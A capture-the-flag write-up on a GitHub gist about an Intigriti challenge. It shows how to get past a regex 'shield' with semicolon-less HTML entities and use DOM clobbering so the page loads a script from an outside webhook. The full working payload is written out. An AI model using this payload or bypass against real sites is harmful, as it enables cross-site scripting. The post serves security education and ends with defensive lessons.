Skip to content

Instantly share code, notes, and snippets.

@fjordsec
Last active May 18, 2026 13:19
Show Gist options
  • Select an option

  • Save fjordsec/22b8424085c25e7f8ec835219ebd7c58 to your computer and use it in GitHub Desktop.

Select an option

Save fjordsec/22b8424085c25e7f8ec835219ebd7c58 to your computer and use it in GitHub Desktop.

Intigriti May 2026 Challenge Writeup: Clobbering the "SCA Shield" with some 90s Pixel Magic ๐Ÿ•น๏ธ

TL;DR: DOM Clobbering via innerHTML on the username field + "SCA Shield" bypass using semicolon-less HTML entities + Protocol-relative URLs = Arbitrary JS execution and a very noisy alert box.


Phase 1: The Recon (Welcome to the Arcade)

The challenge dropped us into Pixel Pioneers, a retro-themed arcade SPA. It looked slick, but as soon as I saw "Powered by SCA Shield v1.0" in the footer, I knew I was in for a fight with some overzealous regex.

I started by auditing the SPA routing in app.js. The logic for the community feed caught my eye immediately:

data.forEach(t => {
    let nameDiv = document.createElement('div');
    nameDiv.className = 'user-name';
    nameDiv.innerHTML = t.user_name; // ๐Ÿšฉ DANGER WILL ROBINSON
    
    let textDiv = document.createElement('div');
    textDiv.className = 'user-text';
    textDiv.innerHTML = DOMPurify.sanitize(t.content); // ๐Ÿ›ก๏ธ Properly sanitized
    
    // ... append to container
});

Wait, t.content is protected by DOMPurify, but t.user_name is just tossed into innerHTML like yesterday's trash? That's our entry point. But first, we had to deal with the "Shield."


Phase 2: The "SCA Shield" (Regex vs. Entities)

I tried to update my profile name to something spicy, and the SCA Shield slapped me with: "SCA Shield: Malicious characters detected! Quotes, parenthesis, dots, commas, and semicolons are strictly forbidden."

It wasn't just checking characters; it was also checking for "payload signatures" like data:, alert, and scriptUrl.

The Bypass: The shield was clever, but the browser's HTML parser is a chaotic neutral deity. I realized that if I used semicolon-less HTML entities, I could smuggle forbidden characters past the shield. Since the browser decodes these entities when innerHTML is set, they become functional again!

  • . (dot) -> &#46 (No semicolon needed!)
  • ( (open paren) -> &#40
  • scriptUrl -> &#115criptUrl (Bypasses keyword detection)

Phase 3: The DOM Clobbering Gadget

Now I had an injection point, but I needed a gadget. Looking further down in loadTestimonials(), I found this beauty:

let config = window.PixelAnalyticsConfig || { enabled: false, scriptUrl: '/js/mock-tracker.js' };
if (config.enabled) {
    let s = document.createElement('script');
    s.src = config.scriptUrl;
    document.body.appendChild(s);
}

This is a classic DOM Clobbering setup. If I can inject an element with id="PixelAnalyticsConfig", I can control the config object.

By injecting two <a> tags:

  1. One with name="enabled" -> Makes config.enabled truthy.
  2. One with name="scriptUrl" and an href -> When assigned to s.src, the browser calls .toString() on the anchor element, which returns the absolute URL in the href.

Phase 4: Chaining the Chaos

The final exploit chain looked like this:

  1. Inject Clobber Payload: Set the profile name to a string of semicolon-less entities that build our clobbering anchors.
  2. Bypass URL Filter: Use a protocol-relative URL (//) to point to my webhook, avoiding more dots.
  3. Trigger the Load: Post a testimonial. The app renders my malicious name, clobbers window.PixelAnalyticsConfig, and the tracker logic dutifully loads my script.

The Final Payload:

<a id=PixelAnalyticsConfig name=enabled></a><a id=PixelAnalyticsConfig name=&#115criptUrl href=//webhook&#46site/c569f26d-206e-403e-b318-6c768035cf30></a>
gg

Phase 5: Popping the Alert ๐Ÿšฉ

I configured my webhook to return alert(document.domain) with a Content-Type: application/javascript.

I refreshed the testimonials page, and...

image

Success! The "Shield" was no match for some 90s-style HTML entity smuggling.

๐Ÿ“ Lessons Learned

  • innerHTML is never safe, even if you think the input is "just a username."
  • Blacklisting characters is a losing game. Browser parsers are too flexible.
  • Global variables are targets. If you're using a global config object, Object.freeze() it or move it out of the global scope to prevent DOM Clobbering.

Thanks to Intigriti for another blast from the past! ๐Ÿ•น๏ธ๐Ÿ†

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment